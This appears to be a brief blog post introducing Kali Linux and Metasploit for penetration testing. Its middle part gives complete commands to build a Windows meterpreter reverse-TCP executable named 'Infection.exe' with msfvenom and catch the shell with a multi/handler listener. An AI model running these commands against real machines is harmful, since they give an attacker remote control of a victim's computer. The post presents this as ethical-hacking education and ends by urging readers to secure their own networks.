Kali-Linux Getting Started and Whats included.steemCreated with Sketch.

in tech •  8 years ago 

Penetration Testing/Ethical Hacking is on the rise with companies paying large amounts to keep their trade secrets and other important intellectual property safe.

Kali Linux is a free linux distribution provided by Offensive Security. It has over 200 tools and programs from information gathering to password cracking.

The main component in Kali Linux for me it Metasploit; It has remote access and exploitation frameworks for almost every OS and application. Here are some examples:

Windows Reverse TCP.

Preparation

msfvenom -f exe -p windows/meterpreter/reverse_tcp --platform windows LHOST={IP HERE} LPORT=4444 > ~/Desktop/Infection.exe

Execution

msfconsole

use exploit/multi/handler

set Payload windows/meterpreter/reverse_tcp

set LHOST={Same IP as before}

set LPORT=4444

exploit or exploit -j

The above show how quickly and easily a reverse TCP shell can be made.

 The overall message which this post tries to give you is that you should look at is my network secure if not how can I secure it etc...
